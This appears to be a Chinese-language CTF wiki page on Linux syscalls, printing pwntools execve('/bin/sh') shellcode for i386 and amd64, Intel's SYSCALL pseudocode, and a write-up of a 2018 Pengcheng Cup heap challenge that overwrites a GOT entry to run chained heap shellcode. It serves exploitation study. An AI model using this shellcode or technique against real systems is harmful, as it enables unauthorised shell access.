syscall¶
syscall¶
系统调用号对应的表¶
32位 64位 getshell 汇编代码¶
32 位¶
>>> context.arch = 'i386' >>> print(shellcraft.execve('/bin/sh')) /* execve(path='/bin/sh', argv=0, envp=0) */ /* push '/bin/sh\x00' */ push 0x1010101 xor dword ptr [esp], 0x169722e push 0x6e69622f mov ebx, esp xor ecx, ecx xor edx, edx /* call execve() */ push SYS_execve /* 0xb */ pop eax int 0x80
eax = 0xb ebx = addr("/bin/sh") ecx = 0 edx = 0
64 位¶
>>> context.arch = 'amd64' >>> print(shellcraft.execve('/bin/sh')) /* execve(path='/bin/sh', argv=0, envp=0) */ /* push '/bin/sh\x00' */ mov rax, 0x101010101010101 push rax mov rax, 0x101010101010101 ^ 0x68732f6e69622f xor [rsp], rax mov rdi, rsp xor edx, edx /* 0 */ xor esi, esi /* 0 */ /* call execve() */ push SYS_execve /* 0x3b */ pop rax syscall
rax = 0x3b rdi = addr("/bin/sh") rdx = 0 rsi = 0
系统调用时更改的寄存器¶
IF (CS.L ≠ 1 ) or (IA32_EFER.LMA ≠ 1) or (IA32_EFER.SCE ≠ 1) (* Not in 64-Bit Mode or SYSCALL/SYSRET not enabled in IA32_EFER *) THEN #UD; FI; RCX ← RIP; (* Will contain address of next instruction *) RIP ← IA32_LSTAR; R11 ← RFLAGS; RFLAGS ← RFLAGS AND NOT(IA32_FMASK); CS.Selector ← IA32_STAR[47:32] AND FFFCH (* Operating system provides CS; RPL forced to 0 *) (* Set rest of CS to a fixed value *) CS.Base ← 0; (* Flat segment *) CS.Limit ← FFFFFH; (* With 4-KByte granularity, implies a 4-GByte limit *) CS.Type ← 11; (* Execute/read code, accessed *) CS.S ← 1; CS.DPL ← 0; CS.P ← 1; CS.L ← 1; (* Entry is to 64-bit mode *) CS.D ← 0; (* Required if CS.L = 1 *) CS.G ← 1; (* 4-KByte granularity *) CPL ← 0; SS.Selector ← IA32_STAR[47:32] + 8; (* SS just above CS *) (* Set rest of SS to a fixed value *) SS.Base ← 0; (* Flat segment *) SS.Limit ← FFFFFH; (* With 4-KByte granularity, implies a 4-GByte limit *) SS.Type ← 3; (* Read/write data, accessed *) SS.S ← 1; SS.DPL ← 0; SS.P ← 1; SS.B ← 1; (* 32-bit stack segment *) SS.G ← 1; (* 4-KByte granularity *)
值得注意的是 syscall 会用 rcx 记录下一条指令的值,如果程序允许你的输入在一个 rwxp 段,但是每次输入十分短的时候,可以通过 syscall 找到当前写入的地址进行续写
鹏程杯 2018 的 note¶
note 中 got 表的部分 rwxp,heap 也为 rwxp ,若将 got 表的某一项覆盖成指向 shellcode 的 指针,即可 getshell
漏洞在于可以通过溢出覆盖 Array 的 idx ,进而下溢数组,覆盖 got 表某一项成 chunk 的地址,在调用该 got 的时候,跳转到 heap 上的 shellcode 运行汇编代码
此题限制每次的写到 heap 上的长度小于 13 ,因此一种办法是将多个 heap 上的 shellcode 通过 asm("jmp addr") 拼接起来 ("\xEB" 是 jmp (-127 ~ +128) 的机器码,通过 gdb 或者 手推也能得到 "\xEB\x??" 的值)
这里想重点介绍一下 Whitzard 的做法,很巧妙运用 syscall , 以下为 Whitezard 的关键汇编代码
start : xor rax, rax syscall dec edx mov rsi, rcx jmp start
最开始的时候由于输入限制只能 13 byte,因此控制不了 rsi,不能 read 到自己想要的地方,并且不能从现有的汇编代码跳转过去。但是可以通过 syscall 找到之前写入的地址,运用 edx 只取 rdx 的低 32 位,jmp (-127 ~ +128) 的值进行调用 SYS_read, 将 shellcode 续写在 syscall 后面,从而 getshell